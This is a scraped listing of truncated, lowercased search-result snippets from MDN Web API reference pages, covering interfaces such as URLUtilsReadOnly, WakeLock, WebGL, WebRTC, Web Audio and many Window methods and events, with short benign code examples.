the urlutilsreadonly.tostring() stringifier method returns a domstring containing the whole url. it is a synonym for urlutilsreadonly.href. syntax string = object.tostring(); examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome ...
URLUtilsReadOnly - Web APIs
rlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url. urlutilsreadonly.hash read only is a domstring containing a '#' followed by the fragment identifier of the url. methods this interface doesn't inherit any methods. urlutilsreadonly.tostring() returns a domstring containing the whole url. it is a synonym for urlutilsreadonly.href. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneturlutilsreadonlychrome ...
URL API - Web APIs
Web › API › URL API
ns of the specification included an interface called urlutilsreadonly, which has since been merged into the workerlocation interface. examples if you want to process the parameters included in a url, you could do it manually, but it's much easier to create a url object to do it for you. the filltablewithparameters() function below takes as input a htmltableelement object representing a <table>. rows are added to the table, one for each key found in the parameters, with the first column containing the key's name, and the second column having the value. note the call to urlsearchparams.sort() to sort the parameter list before generating the table. function filltablewithparameters(tbl) { let url = new url(document.location.href); url.searchparams.sort(); let keys = url.searchparams.keys...
USVString - Web APIs
Web › API › USVString
e set of all possible sequences of unicode scalar values. usvstring maps to a string when returned in javascript; it's generally only used for apis that perform text processing and need a string of unicode scalar values to operate on. usvstring is equivalent to domstring except for not allowing unpaired surrogate codepoints. unpaired surrogate codepoints present in usvstring are converted by the browser to unicode 'replacement character' u+fffd, (�). specifications specification status comment web idlthe definition of 'usvstring' in that specification. candidate recommendation initial definition. ...
UserDataHandler - Web APIs
try to avoid using it. summary when associating user data with a key on a node, node.setuserdata() can also accept, in its third argument, a handler which will be called when the object is cloned, imported, deleted, renamed, or adopted. per the specification, exceptions should not be thrown in a userdatahandler. in both document.importnode() and node.clonenode(), although user data is not copied over, the handler will be called. ...
validityState.badInput - Web APIs
for example, if you have a number input element whose content is a string. note: while this is unsupported in internet explorer, any non-numeric value will be dismissed from the field if it is a number input. ...
ValidityState - Web APIs
p explain why an element's value fails to validate, if it's not valid. properties for each of these boolean properties, a value of true indicates that the specified reason validation may have failed is true, with the exception of the valid property, which is true if the element's value obeys all constraints. badinput read only a boolean that is true if the user has provided input that the browser is unable to convert. customerror read only a boolean indicating whether the element's custom validity message has been set to a non-empty string by calling the element's setcustomvalidity() method. patternmismatch read only a boolean that is true if the value does not match the specified pattern, and false if it does match. if true, the element matches the :invalid css pseudo-class. ran...
VideoPlaybackQuality.totalFrameDelay - Web APIs
try to avoid using it. the videoplaybackquality.totalframedelay read-only property returns a double containing the sum of the frame delay since the creation of the associated htmlvideoelement. the frame delay is the difference between a frame's theoretical presentation time and its effective display time. ...
VideoTrackList.length - Web APIs
of type videotrack. example this snippet gets the number of video tracks in the first <video> element found in the dom by queryselector(). var videoelem = document.queryselector("video"); var numvideotracks = 0; if (videoelem.videotracks) { numvideotracks = videoelem.videotracks.length; } note that this sample checks to be sure htmlmediaelement.videotracks is defined, to avoid failing on browsers without support for videotrack. specifications specification status comment html living standardthe definition of 'videotracklist: length' in that specification. living standard ...
Visual Viewport API - Web APIs
iewport is unchanged. user-interface features like the on-screen keyboard (osk) can shrink the visual viewport without affecting the layout viewport. what happens when a web page element needs to be visible on screen regardless of the visible portion of a web page? for example, what if you need a set of image controls to remain on screen regardless of the pinch zoom level of the device? current browsers vary in how they handle this. the visual viewport lets web developers solve this by positioning elements relative to what's shown on screen. to access a window's visual viewport, you can obtain a visualviewport object from the window.visualviewport property. the object includes a set of properties describing the viewport. it also adds two events, onresize and onscroll, that fire whenever the...
WEBGL_debug_shaders - Web APIs
ailable to web sites as the way of how the shader is translated may uncover personally-identifiable information to the web page about the kind of graphics card in the user's computer. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: depending on the privacy settings of the browser, this extension might only be available to privileged contexts. this extension is available to both, webgl1 and webgl2 contexts. methods webgl_debug_shaders.gettranslatedshadersource() returns the translated shader source. specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders' in that specification. recommendat...
WakeLock.request() - Web APIs
Web › API › WakeLock › request
t available, which can happen because: document is not allowed to use screen wake lock due to screen-wake-lock policy. document is not fully active. document is hidden. user agent could not acquire platform's wake lock. examples the following asynchronous function requests a wakelocksentinel object. the request() method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason. const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment sc...
WakeLock - Web APIs
Web › API › WakeLock
s to keep running. the system wake lock is exposed through the global navigator.wakelock property. methods request requests a wakelocksentinel object, which returns a promise that resolves with a wakelocksentinel object. examples the following asynchronous function requests a wakelocksentinel object. the wakelock.request method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason. const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment sc...
WaveShaperNode.WaveShaperNode() - Web APIs
fies what type of oversampling (if any) should be used when applying the shaping curve. valid values are 'none', '2x', or '4x'. the default is 'none'. return value a new waveshapernode object instance. specifications specification status comment web audio apithe definition of 'waveshapernode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwaveshapernode() constr...
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
am a glint (samplerparameteri) or a glfloat (samplerparameterf) specifying a value for pname. return value none. examples var sampler = gl.createsampler(); gl.samplerparameteri(sampler, gl.texture_mag_filter, gl.nearest); specifications the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsamplerparameterichrome full support 56edge full support 79firefox full support ...
WebGLRenderingContext.lineWidth() - Web APIs
asterized lines. the webgl spec, based on the opengl es 2.0/3.0 specs points out that the minimum and maximum width for a line is implementation defined. the maximum minimum width is allowed to be 1.0. the minimum maximum width is also allowed to be 1.0. because of these implementation defined limits it is not recommended to use line widths other than 1.0 since there is no guarantee any user's browser will display any other width. as of january 2017 most implementations of webgl only support a minimum of 1 and a maximum of 1 as the technology they are based on has these same limits. syntax void gl.linewidth(width); parameters width a glfloat specifying the width of rasterized lines. default value: 1. return value none. examples setting the line width: gl.linewidth(5); gettin...
WebGL by example - Web APIs
color every second. color masking modifying random colors by applying color masking and thus limiting the range of displayed colors to specific shades. basic scissoring how to draw simple rectangles and squares with scissoring operations. canvas size and webgl the example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window. boilerplate 1 the example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier. scissor animation some animation fun with scissoring and clearing operations. raining rectangles a simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction. ...
Compressed texture formats - Web APIs
network bandwidth: while the formats are better than uncompressed data, they are in general far worse than standard image formats such as png and jpg. as compressed textures require hardware support, therefore no specific formats are required by webgl; instead, a context can make different formats available, depending on hardware support. this site shows which formats are supported in the used browser. usage of compressed formats first requires activating the respective extension with webglrenderingcontext.getextension(). if supported, it will return an extension object with constants for the added formats and the formats will also be returned by calls to gl.getparameter(gl.compressed_texture_formats). (e.g. ext.compressed_rgba_s3tc_dxt1_ext for the webgl_compressed_texture_s3tc extension.)...
Animating objects with WebGL - Web APIs
requestanimationframe passes us the time in milliseconds since the page loaded. we convert that to seconds and then subtract from it the last time to compute deltatime which is the number of second since the last frame was rendered. at the end of drawscene we add the code to update squarerotation. squarerotation += deltatime; this code uses the ...
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
munication of signaling messages, there's still a recommended design pattern you should follow when possible, known as perfect negotiation. this article introduces webrtc perfect negotiation, describing how it works and why it's the recommended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique. after the first deployments of webrtc-capable browsers, it was realized that parts of the negotiation process were more complicated than they needed to be for typical use cases. this was due to a small number of issues with the api and some potential race conditions that needed to be prevented. these issues have since been addressed, letting us simplify our webrtc negotiation significantly. the perfect negotiation pattern is an example of the ways...
Introduction to WebRTC protocols - Web APIs
there are many reasons why a straight up connection from peer a to peer b simply won’t work. it needs to bypass firewalls that would prevent opening connections, give you a unique address if like most situations your device doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers. ...
A simple RTCDataChannel sample - Web APIs
ndchild(txtnode); receivebox.appendchild(el); } this method simply performs some basic dom injection; it creates a new <p> (paragraph) element, then creates a new text node containing the message text, which is received in the event's data property. this text node is appended as a child of the new element, which is then inserted into the receivebox block, thereby causing it to draw in the browser window. disconnecting the peers when the user clicks the "disconnect" button, the disconnectpeers() method previously set as that button's handler is called. function disconnectpeers() { // close the rtcdatachannels if they're open. sendchannel.close(); receivechannel.close(); // close the rtcpeerconnections localconnection.close(); remoteconnection.close(); ...
WebRTC Statistics API - Web APIs
nnection. rtctransportstats rtcstats specifications specification status comment identifiers for webrtc's statistics apithe definition of 'webrtc statistics types' in that specification. candidate recommendation compatibility for individual statistic types webrtc 1.0: real-time communication between browsersthe definition of 'rtcstatsreport' in that specification. candidate recommendation compatibility of statistic reporting ...
Writing a WebSocket server in C# - Web APIs
console.writeline("mask bit not set"); console.writeline(); } } } } client.html <!doctype html> <style> textarea { vertical-align: bottom; } #output { overflow: auto; } #output > p { overflow-wrap: break-word; } #output span { color: blue; } #output span.error { color: red; } </style> <h2>websocket test</h2> <textarea cols=60 rows=6></textarea> <button>send</button> <div id=output></div> <script> // http://www.websocket.org/echo.html var button = document.queryselector("button"), output = document.queryselector("#output"), textarea = document.queryselector("textarea"), // wsuri = "ws://echo.websocket.org/", wsuri = "ws://127.0.0.1/", websocket = new websocket(wsuri); bu...
Writing a WebSocket server in Java - Web APIs
java.net.socket getoutputstream(...
Using bounded reference spaces - Web APIs
ar the boundaries. it's also useful because the user may be engrossed in gameplay or other activity, not realize they're approaching the boundary, and could become confused or distressed if they wander out of tracking range (especially if doing so causes them to lose a game). the easiest solution is to just treat the each boundary segment as if it were an object to hit test against. as the user grows close to the boundary, you might warn them by displaying a message, flashing a warning indicator, playing an audio warning, or the like. and if the user actually collides with the boundary, don't let them continue past it. <<<--- example --->>> creating a bounded reference space before creating a project that relies on bounded reference spaces, it's important to keep in mind that not all xr de...
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
rame buffer. dividing this into two parts—half for each eye—results in each eye's view being drawn at a resolution of 1280x1440 pixels. here's what that looks like conceptually: your code tells the webxr engine that you want to provide the next animation frame by calling the xrsession method requestanimationframe(), providing a callback function that renders a frame of animation. when the browser needs you to render the scene, it invokes the callback, providing as input parameters the current time and an xrframe encapsulating the data needed to render the correct frame. this information includes the xrviewerpose describing the position and facing direction of the viewer within the scene as well as a list of xrview objects, each representing one perspective on the scene. in current webx...
WebXR permissions and security - Web APIs
hat is true, the promise returned by requestsession() is resolved, and the new xrsession object is passed into the fulfillment handler. otherwise, an appropriate exception is thrown, such as securityerror if the document doesn't have permission to enter immersive mode. inline presentation when you request an xrsession with the mode set to inline, and any features are required or requested, the browser will only allow the session to be created if the call to requestsession() was made by code which is executing expressly due to user intent. specifically: if the requestsession() call isn't coming from within the handler executed in response to a user event, and is not being issued while launching a web application, the request is denied and false is delivered to the promise's fulfillment ha...
Keyframe Formats - Web APIs
rty value lists, each supplied offset is applied to the corresponding keyframe. if there are insufficient values, or if the list contains null values, the keyframes without specified offsets will be evenly spaced as with the array format described above. if there are too few easing or composite values, the corresponding list will be repeated as needed. implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginning state...
Web Animations API - Web APIs
to get more information on the concepts behind the api and how to use it, read using the web animations api. ...
Basic concepts behind Web Audio API - Web APIs
put.l + 0.7071 * input.c output.r = input.r + 0.7071 * input.c output.sl = input.sl output.sr = input.sr other, non-standard layouts non-standard channel layouts are handled as if channelinterpretation is set to discrete. the specification explicitly allows the future definition of new speaker layouts. this fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future. discrete any (x) any (y) where x<y up-mix discrete channels. fill each output channel with its input counterpart, that is the input channel with the same index. channels with no corresponding input channels are left silent. any (x) any (y) where x>y down-mix discrete channels. fill each output ...
Migrating from webkitAudioContext - Web APIs
which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation. this article attempts to summarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines. note: there is a library called webkitaudiocontext monkeypatch, which automatically fixes some of these changes to make most code targetting webkitaudiocontext to work on the standards based audiocontext out of the box, but it currently doesn't handle all of the cases below. please consult the readme file for that library to see a list of apis that are automatically handled by it. ...
Example and tutorial: Simple synth keyboard - Web APIs
"> <option value="0.0" label="mute"> <option value="1.0" label="100%"> </datalist> </div> we specify a default value of 0.5, and we provide a <datalist> element which is connected to the range using the name attribute to find an option list whose id matches; in this case, the data set is named "volume". this lets us provide a set of common values and special strings which the browser may optionally choose to display in some fashion; we provide names for the values 0.0 ("mute") and 1.0 ("100%"). the waveform picker on the right side of the settings bar, we place a label and a <select> element named "waveform" whose options correspond to the available waveforms. <div class="right"> <span>current waveform: </span> <select name="waveform"> <option value="sine...
Background audio processing using AudioWorklet - Web APIs
the drawback to scriptprocessornode was simple: it ran on the main thread, thus blocking everything else going on until it completed execution. this was far less than ideal, especially for something that can be as computationally expensive as audio processing. enter audioworklet. an audio context's audio worklet is a worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioworklet.addmodule() method. ...
Using IIR filters - Web APIs
which is drawn the frequency response of the audio, so you can see what effect the iir filter has. you can check out the full demo here on codepen. also see the source code on github. it includes some different coefficient values for different lowpass frequencies — you can change the value of the filternumber constant to a value between 0 and 3 to check out the different available effects. browser support iir filters are supported well across modern browsers, although they have been implemented more recently than some of the more longstanding web audio api features, like biquad filters. the iirfilternode the web audio api now comes with an iirfilternode interface. but what is this and how does it differ from the biquadfilternode we have already? an iir filter is a infinite impulse re...
Web Audio API - Web APIs
y other interfaces. javascriptnode used for direct audio processing via javascript. this interface is obsolete, and has been replaced by scriptprocessornode. wavetablenode used to define a periodic waveform. this interface is obsolete, and has been replaced by periodicwave. ...
Web Crypto API - Web APIs
hic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts. errors in security system design and implementation can make the security of the system completely ineffective. if you're not sure you know what you are doing, you probably shouldn't be using this api. interfaces some browsers implemented an interface called crypto without having it well defined or being cryptographically sound. in order to avoid confusion, methods and properties of this interface have been removed from browsers implementing the web crypto api, and all web crypto api methods are available on a new interface: subtlecrypto. the crypto.subtle property gives access to an object implementing it. specifi...
Web Locks API - Web APIs
holds lock a and tab 2 holds lock b, then tab 1 attempts to also acquire lock b and tab 2 attempts to also acquire lock a, neither request can be granted. web applications can avoid this through several strategies, such as ensuring lock requests are not nested, or are always well ordered, or have timeouts. note that such deadlocks only affect the locks themselves and code depending on them; the browser, other tabs, and other script in the page is not affected. interfaces lock provides the name and mode of a previously requested lock, which is received in the callback to lockmanager.request(). lockmanager provides methods for requesting a new lock object and querying for an existing lock object. to get an instance of lockmanager, call navigator.locks. specifications specific...
The structured clone algorithm - Web APIs
transfer data between workers via postmessage(), storing objects with indexeddb, or copying objects for other apis. it clones by recursing through the input object while maintaining a map of previously visited references, to avoid infinitely traversing cycles. things that don't work with structured clone function objects cannot be duplicated by the structured clone algorithm; attempting to throws a data_clone_err exception. cloning dom nodes likewise throws a data_clone_err exception. certain object properties are not preserved: the lastindex property of regexp objects is not preserved. property descriptors, setters, getters, and similar metadata-like features are not duplicated. for example, if an object is marked readonly with a property descriptor, it will be read/write in t...
Window: appinstalled event - Web APIs
the appinstalled event of the web manifest api is fired when the browser has successfully installed a page as an application. bubbles no cancelable no interface event event handler onappinstalled examples you can use the appinstalled event in an addeventlistener method: window.addeventlistener('appinstalled', function() { console.log('thank you for installing our app!'); }); or use the onappinstalled event handler property: window.onappinstalled = function() { console.log('thank you for installing our app!'); }; ...
window.cancelAnimationFrame() - Web APIs
hat requested the callback. examples var requestanimationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.msrequestanimationframe; var cancelanimationframe = window.cancelanimationframe || window.mozcancelanimationframe; var start = window.mozanimationstarttime; // only supported in ff. other browsers can use something like date.now(). var myreq; function step(timestamp) { var progress = timestamp - start; d.style.left = math.min(progress / 10, 200) + 'px'; if (progress < 2000) { // it's important to update the requestid each time you're calling requestanimationframe myreq = requestanimationframe(step); } } myreq = requestanimationframe(step); // the cancelation uses the l...
window.cancelIdleCallback() - Web APIs
ers handle the id value returned by window.requestidlecallback() when the callback was established. return value undefined. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelidlecallback exp...
Window.close() - Web APIs
Web › API › Window › close
ow opened by calling window.open(). //global var to store a reference to the opened window var openedwindow; function openwindow() { openedwindow = window.open('moreinfo.htm'); } function closeopenedwindow() { openedwindow.close(); } closing the current window in the past, when you called the window object's close() method directly, rather than calling close() on a window instance, the browser closed the frontmost window, whether your script created that window or not. this is no longer the case; for security reasons, scripts are no longer allowed to close windows they didn't open. (firefox 46.0.1: scripts can not close windows, they had not opened) function closecurrentwindow() { window.close(); } specification specification status comment html living s...
Window.confirm() - Web APIs
Web › API › Window › confirm
the window.confirm() method displays a modal dialog with an optional message and two buttons: ok and cancel. syntax result = window.confirm(message); parameters message a string you want to display in the alert dialog. return value a boolean indicating whether ok (true) or cancel (false) was selected. if a browser is ignoring in-page dialogs, then the returned value is always false. example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for visiting!"); } produces: notes the following text is shared between this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they prevent the user from accessing the rest of the program's interface until the dialog box is closed. for this reason, you should not ov...
Window.convertPointFromNodeToPage() - Web APIs
given a point specified in a particular dom node's coordinate system, the window method convertpointfromnodetopage() returns a point which specifies the same position in the page's coordinate system. this method is non-standard and should not be used. please review the browser compatibility section before using this method, as it's not widely supported (nor is the point object it uses). syntax point = window.convertpointfromnodetopage(node, nodepoint); parameters node the node in whose coordinate system the point specified by nodepoint is described. nodepoint a point object describing a point in node's coordinate system; this point will be converted to the page's coordinate system. return value a point object specifying a point in the page's coordinate system. specifications...
Window.convertPointFromPageToNode - Web APIs
syntax point = window.convertpointfrompagetonode(node, pagepoint); parameters node the node into whose coordinate system the point is to be converted. ...
Window: copy event - Web APIs
Web › API › Window › copy event
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for this event is the element that was the intended target of the copy action. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on the element: copy event. ...
Window.customElements - Web APIs
.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(template.clonenode(true)); } } ); see our web-components-examples repo for more usage examples. specification specification status comment html living standardthe definition of 'window.customelements' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcustomelementschrome ...
Window: cut event - Web APIs
Web › API › Window › cut event
bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for this event is the element that was the intended target of the cut action. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on the element: cut event. ...
Window.defaultStatus - Web APIs
try to avoid using it. summary gets/sets the status bar text for the given window. syntax var smsg = window.defaultstatus; window.defaultstatus = smsg; parameters smsg is a string containing the text to be displayed by default in the statusbar. ...
Window.directories - Web APIs
try to avoid using it. summary returned the window personalbar toolbar object. use the window.personalbar instead. syntax var dirbar = window.directories; parameters dirbar is an object of the type barprop. ...
Window: error event - Web APIs
onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise. ...
Window.event - Web APIs
Web › API › Window › event
our code. note: this property can be fragile, in that there may be situations in which the returned event is not the expected value. in addition, window.event is not accurate for events dispatched within shadow trees. specifications specification status comment domthe definition of 'window.event' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneteventchrome ...
Window.external - Web APIs
Web › API › Window › external
however, this is now deprecated, and the contained methods are now dummy functions that do nothing as per spec. methods the external object has the following methods: method description addsearchprovider(descriptionurl) dummy function; does nothing. see autodiscovery of search plugins. ...
Window.find() - Web APIs
Web › API › Window › find
specification this is not part of any specification. ...
Window: gamepadconnected event - Web APIs
the gamepadconnected event is fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used. bubbles no cancelable no interface gamepadevent event handler property ongamepadconnected examples window.addeventlistener('gamepadconnected', event => { // all buttons and axes values can be accessed through event.gamepad; }); specifications specification status gamepad working draft ...
Window: gamepaddisconnected event - Web APIs
the gamepaddisconnected event is fired when the browser detects that a gamepad has been disconnected. bubbles no cancelable no interface gamepadevent event handler property ongamepaddisconnected examples window.addeventlistener('gamepaddisconnected', event => { console.log('lost connection with the gamepad.'); }); specifications specification status gamepad working draft ...
Window.getDefaultComputedStyle() - Web APIs
<h3>generated content</h3> <script> var h3 = document.queryselector('h3'), result = getdefaultcomputedstyle(h3, ':after').content; console.log('the generated content is: ', result); // returns 'none' </script> notes the returned value is, in certain known cases, expressly incorrect by deliberate intent. in particular, to avoid the so called css history leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site, and/or limit the styles that can be applied using the :visited pseudo-selector. see http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples...
Window.getSelection() - Web APIs
text selected by the user or the current position of the caret. syntax selection = window.getselection(); return value a selection object. when cast to string, either by appending an empty string ("") or using selection.tostring(), this object returns the text selected. when called on an <iframe> that is not displayed (eg. where display: none is set) firefox will return null, whereas other browsers will return a selection object with selection.type set to none. examples function foo() { var selobj = window.getselection(); alert(selobj); var selrange = selobj.getrangeat(0); // do stuff with the range } notes string representation of the selection object in javascript, when an object is passed to a function expecting a string (like window.alert() or document.write()), ...
Window.history - Web APIs
Web › API › Window › history
the window.history read-only property returns a reference to the history object, which provides an interface for manipulating the browser session history (pages visited in the tab or frame that the current page is loaded in). see manipulating the browser history for examples and details. in particular, that article explains security features of the pushstate() and replacestate() methods that you should be aware of before using them. example history.back(); // equivalent to clicking back button history.go(-1); // equivalent to history.back(); notes for top-level pages you can see the list of pages in the session history, accessible via the history object, in the browser's dropdowns next to the back and forward buttons. for security reasons the history object doesn't allow the no...
Window.home() - Web APIs
Web › API › Window › home
try to avoid using it. ...
Window.innerHeight - Web APIs
etheight = parent.innerheight; // will return the height of the viewport of the closest frameset var intouterframesetheight = top.innerheight; // will return the height of the viewport of the outermost frameset fixme: link to an interactive demo here to change the size of a window, see window.resizeby() and window.resizeto(). to get the outer height of a window, i.e. the height of the whole browser window, see window.outerheight. graphical example the following figure shows the difference between outerheight and innerheight. specification specification status comment css object model (cssom) view modulethe definition of 'window.innerheight' in that specification. working draft initial definition ...
Window: load event - Web APIs
Web › API › Window › load event
er('load', (event) => { console.log('page is fully loaded'); }); the same, but using the onload event handler property: window.onload = (event) => { console.log('page is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event...
Window.mozAnimationStartTime - Web APIs
try to avoid using it. returns the time, in milliseconds since the epoch, at which animations started now should be considered to have started. this value should be used instead of, for example, date.now(), because this value will be the same for all animations started in this window during this refresh interval, allowing them to remain in sync with one another. ...
Window.mozPaintCount - Web APIs
try to avoid using it. returns the number of times the current document has been painted to the screen in this window. syntax var paintcount = window.mozpaintcount; paintcount stores the window.mozpaintcount property value. ...
Window: offline event - Web APIs
the offline event of the window interface is fired when the browser has lost access to the network and the value of navigator.online switches to false. bubbles no cancelable no interface event event handler property onoffline examples // addeventlistener version window.addeventlistener('offline', (event) => { console.log("the network connection has been lost."); }); // onoffline version window.onoffline = (event) => { console.log("the network connection has been lost."); }; specifications specification status html living standardthe definition of 'offline event' in that specification. living standard ...
Window: online event - Web APIs
note: this event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still prevent the website from being reached. ...
Obsolete features - Web APIs
th dual monitor screen. forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users. fullscreen does not really work in msie 6 sp2. personalbar obsolete since gecko 76 if this feature is on, then the new secondary window renders the personal toolbar in netscape 6.x, netscape 7.x and mozilla browser. it renders the bookmarks toolbar in firefox. in addition to the personal toolbar, mozilla browser will render the site navigation bar if such toolbar is visible, present in the parent window. mozilla and firefox users can force new windows to always render the personal toolbar/bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js ...
Window.opener - Web APIs
Web › API › Window › opener
rence to the window that opened the window using open(). in other words, if window a opens window b, b.opener returns a. syntax const openerwindow = window.opener value a window referring to the window that opened the current window (using window.open(), or by a link with target attribute set). if this window was not opened by being linked to or created by another, returns null. in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will prevent the window.opener reference from being set, in which case this property will return null. specifications specification status comment html living standardthe definition of 'window.opener' in that specification. living standard ...
Window.outerHeight - Web APIs
notes to change the size of a window, see window.resizeby() and window.resizeto(). to get the inner height of a window, i.e. the height of the page being displayed, see window.innerheight. graphical example the following figure shows the difference between outerheight and innerheight. ...
Window.outerWidth - Web APIs
Web › API › Window › outerWidth
notes to change the size of a window, see window.resizeby() and window.resizeto(). to get the inner width of a window, i.e. the width of the page being displayed, see window.innerwidth. ...
Window.pageYOffset - Web APIs
he read-only window property pageyoffset is an alias for scrolly; as such, it returns the number of pixels the document is currently scrolled along the vertical axis (that is, up or down) with a value of 0.0, indicating that the top edge of the document is currently aligned with the top edge of the window's content area. there is slightly better support for pageyoffset than for scrolly in older browsers, but if you're not concerned about browsers more than a handful of years old, you can use either one. the corresponding pagexoffset property, which returns the number of pixels scrolled along the horizontal axis (left and right), is an alias for scrollx. syntax yoffset = window.pageyoffset; value a floating-point number specifying the number of pixels the document is scrolled vertically ...
Window: pagehide event - Web APIs
bubbles no cancelable no interface pagetransitionevent event handler property onpagehide examples in this example, an event handler is established to watch for pagehide events and to perform special handling if the page is being persisted for possible reuse. ...
Window: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for this event is the element that was the intended target of the paste action. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on the element: paste event. ...
Window.personalbar - Web APIs
le property of any of the bars on an existing window. due to deprecation of enableprivilege this functionality can not be used in web pages. enableprivilege is disabled in firefox 15 and will be removed in firefox 17. <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.personalbar.visible = !window.personalbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above. also be aware that dynamically up...
Window.pkcs11 - Web APIs
Web › API › Window › pkcs11
try to avoid using it. summary returns the pkcs11 object, which is used to install drivers and other software associated with the pkcs11 protocol. if pkcs11 isn't supported, this property returns null. note: this property has been returned null since gecko 1.9.0.14 (firefox 3.0.14) and removed in gecko 29.0 (firefox 29 / thunderbird 29 / seamonkey 2.26)) for security reasons. for more information on installing pkcs11 modules, see installing pkcs11 modules. ...
Window.print() - Web APIs
Web › API › Window › print
opens the print dialog to print the current document. in most browsers, this method will block while the print dialog is open. however in more recent versions of safari, it may return immediately. syntax window.print() specification specification status comment html living standardthe definition of 'print()' in that specification. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome f...
Window.prompt() - Web APIs
Web › API › Window › prompt
